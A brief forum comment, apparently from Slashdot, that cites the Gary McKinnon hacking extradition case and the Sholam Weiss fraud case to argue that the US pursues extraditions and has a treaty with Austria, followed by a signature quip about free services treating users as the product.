    (See the case of Gary McKinnon for one example of a UK citizen that we're working to extradite for hacking charges, and the case of Sholam Weiss (on fraud and money laundering charges) for proof that we do have an extradition treaty with Austria.)

    --
    If it's for-profit but free, you're not the customer -- you're the product (e.g., the Slashdot Beta's "audience").